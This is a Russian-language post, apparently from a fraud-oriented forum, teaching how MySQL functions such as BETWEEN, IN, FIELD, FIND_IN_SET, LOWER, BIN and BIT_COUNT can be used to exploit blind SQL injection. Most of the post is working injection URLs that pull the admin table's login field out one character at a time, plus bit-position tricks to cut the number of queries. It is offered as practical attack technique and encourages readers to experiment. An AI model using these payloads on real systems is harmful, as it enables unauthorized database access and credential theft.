1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Применение функций MySQL при эксплуатации SQL Injection

Тема в разделе "Чужие", создана пользователем Viclug, 18 окт 2012.

  1. TopicStarter Overlay
    Viclug

    Viclug Gott mit Uns!

    Регистрация:
    22 июн 2012
    Сообщения:
    620
    Симпатии:
    468
    Применение функций MySQL при эксплуатации SQL Injection


    Здравствуй уважаемый читатель. В данной статье я расскажу про функции MySQL и покажу, как можно применять их при экслпуатации SQL инъекций.
    Про SQL инъекции вы можете почитать на нашем форуме.
    Итак, первая функция которую хотелось бы рассмотреть это BETWEEN min AND max.
    BETWEEN min AND max – функция возвращает 1 если проверяемое значение лежит в промежутке min и max. Ее можно применить например следующим образом:
    Код:
    _http://localhost/index.php?id=1+and+(ascii(substring((select+login+from+admin+limit+0,1),1,1))+between+97+and+150)=1.
    
    Если ASCII код первого символа лежит в диапазоне от 97 до 150, то функция веренет 1 иначе на выходе мы получим 0 . У этой функции есть обратная NOT BETWEEN min AND max. Она возвращает 1 если число не лежит в диапазоне min и max.
    Конструкция IN(a1,a2,…..,an) – возвращает 1 если проверяемое значение входит в список данной функции. Аргументами функции могут быть как строки, так и числа. Например:
    Код:
    _http://localhost/index.php?id=1+and+(ascii(substring((select+login+from+admin+limit+0,1),1,1))+IN(50,51,52,53,97))=1.
    


    Если ASCII код символа входит в диапазон данной функции то вернется единица иначе 0. У этой функции есть обратная NOT IN(a1,…,an) – возвращает 1 если значение не равно ни одному значению из списка данной функции.
    Функция FIELD(str,str1,str2,str3,….,strn) – возвращает номер строки, совпавшей с str. Т.е. запрос вида SELECT FIELD(1,2,3,4,5,1,2) вернет 4. Например:
    Код:
    _http://localhost/index.php?id=1+and+FIELD(ascii(substring((select+login+from+admin+limit+0,1),1,1)),55,97)=2.
    
    Если ASCII код символа совпал с символом на позиции два, то мы получим истину иначе ложь.
    Функция FIND_IN_SET(str,str_list) – ищет вхождение строки str в список str_list и если найдено значение то вернет номер строки иначе вернет 0.Например:
    Код:
    _http://localhost/index.php?id=1+and+FIND_IN_SET(ascii(substring((select+login+from+admin+limit+0,1),1,1)),'97,11')=1.
    
    Как видите она отличается от предыдущей функции тем что список параметров заключен в кавычки.
    Функция LOWER(str) – переводит строку str в нижний регистр. Например:
    Код:
    _http://localhost/index.php?id=1+and+ascii(lower(substring((select+login+from+admin+limit+0,1),1,1)))=97.
    
    Она полезна тем что сужает диапазон проверяемых символов. Например логина в основном не регистрозависимые, то в этом случае лучше использовать функцию lower.
    Теперь давайте рассмотрим еще методы реализации. Например, мы можем за место
    Код:
    _http://localhost/index.php?id=1+and+FIELD(ascii(substring((select+login+from+admin+limit+0,1),1,1)),55,97)=2.
    
    Такого запроса составить
    Код:
    _http://localhost/index.php?id=FIELD(ascii(substring((select+login+from+admin+limit+0,1),2,1)),97,55)
    
    такой запрос. Т.е. в зависимости позиции символа функции FILED() мы будем видеть страницу с данным id т.е. если код совпал с 97 то, позиция данного символа 1, соответственно мы увидем страницу с id = 1.
    Это далеко не все запросы которые можно составить. Я привел лишь самые простые из них ( и может быть не самые удобные). Просто хочу сказать, что нужно не бояться и эксперементировать.
    Теперь я хочу рассказать про двоичные числа и применение функций двоичных чисел при эксплуатации Blind SQL Injection. Итак приступим.
    В MySQL есть две функции для работы с двоичными числами.
    BIN(num) – возвращает двоичное представление числа num.
    BIT_COUNT(num) – возвращает число единиц в двоичном числе. Вся суть данного метода состоит в том, чтобы перевести ASCII коды в двоичные числа и смотреть сдвиг битов. Также данный метод позволяет точно определить набор валидных символов. Например:
    Код:
    http://localhost/index.php?id=1+and+bit_count(ascii(substring((select+login+from+admin+limit+0,1),1,1)))=3
    
    Данный запрос вернет истину если ASCII код данного символа в двоичном представлении содержит ровно 3 единичных бита. Это есть следующие ASCII коды (97,98,100,104,112). Таким образом мы имеем пять валидных символов при условии что мы использоваль функцию LOWER() соответственно. Чтож теперь мы знаем валидные символы. Соответвующие этим сиволам двоичные коды:
    Код:
    1100001 - 97
    1100010 - 98
    1100100 - 100
    1101000 - 104
    1110000 - 112
    
    Я предлагаю использовать следующий подход а именно смотреть позиции единиц в данном двоичном числе т.е. использовать функцию substring(). Как видите двоичные представления начинаюся с 11 и так у всех символов из диапазона от 97 до 121. Т.е. все что нам остается проверить это наличие единицы в данной позиции.
    Код:
    _http://localhost/index.php?id=1+and+substring(bin(ascii(substring((select+login+from+admin+limit+0,1),1,1))),3,1)=1.
    
    Как видите мы начинаем сразу с третей позиции и если в третей позиции имеется единица то мы сразу можем сказать что ASCII код = 112. Если мы имеем диапазон символов у которых число единичных символов = 4, то мы можем исключать сразу так сказать классы символов. Давайте рассмотрим пример. В диапазоне символов [a – z] имеют число бит = 4 следующие ASCII коды
    Код:
    99 - 1100011
    101 -1100101
    102 - 1100110
    105 - 1101001
    106 – 1101010
    108 – 1101100
    113 –1110001
    114 – 1110010
    116 -  1110100
    120 – 1111000
    
    Классами символов будеи называть символы у которых биты в позициях совпадают. Т.е. 99,101,105,113 – есть класс символов т.к. последний бит у них совпадает. Соответственно если мы составим запрос вида
    Код:
    _http://localhost/index.php?id=1+and+substring(bin(ascii(substring((select+login+from+admin+limit+0,1),4,1))),7,1)=1
    
    Т.е. если последний бит равен единице то мы будем работать только с символами 99,101,105,113. Если не равен то мы исключаем эти символы т.е. будем работать только с (102,106,108,114,116,120). Пусть последний бит не равен единице значит ищем другой класс символов. Например у 114,116,120 третий бит стоит в 1 тогда пишем запрос
    Код:
    _http://localhost/index.php?id=1+and+substring(bin(ascii(substring((select+login+from+admin+limit+0,1),4,1))),3,1)=1
    
    Если бит равен единице то мы работаем с символами 114,116,120 иначе мы их исключаем. Пусть не равно тогда у нас остались символы (102,106,108). У символов 102,108 пятый символ равен 1 т.е. проверяем
    Код:
    _http://localhost/index.php?id=1+and+substring(bin(ascii(substring((select+login+from+admin+limit+0,1),4,1))),5,1)=1
    
    Если да то мы работаем с этими символами иначе наш искомый символ 106.Конечно данный метод не очень хорош тем что число запросов может быть большим. Ну впринципе все. Хотелось сказать что существует куча методов и здесь приводится просто описание моих исследований и как можно применять различные конструкции для проведения SQL инъекций. Нужно просто эксперементировать и тогда все получится. Удачи!
    © Инхорн
     
    • Like Like x 2
    Метки:

Поделиться этой страницей

Загрузка...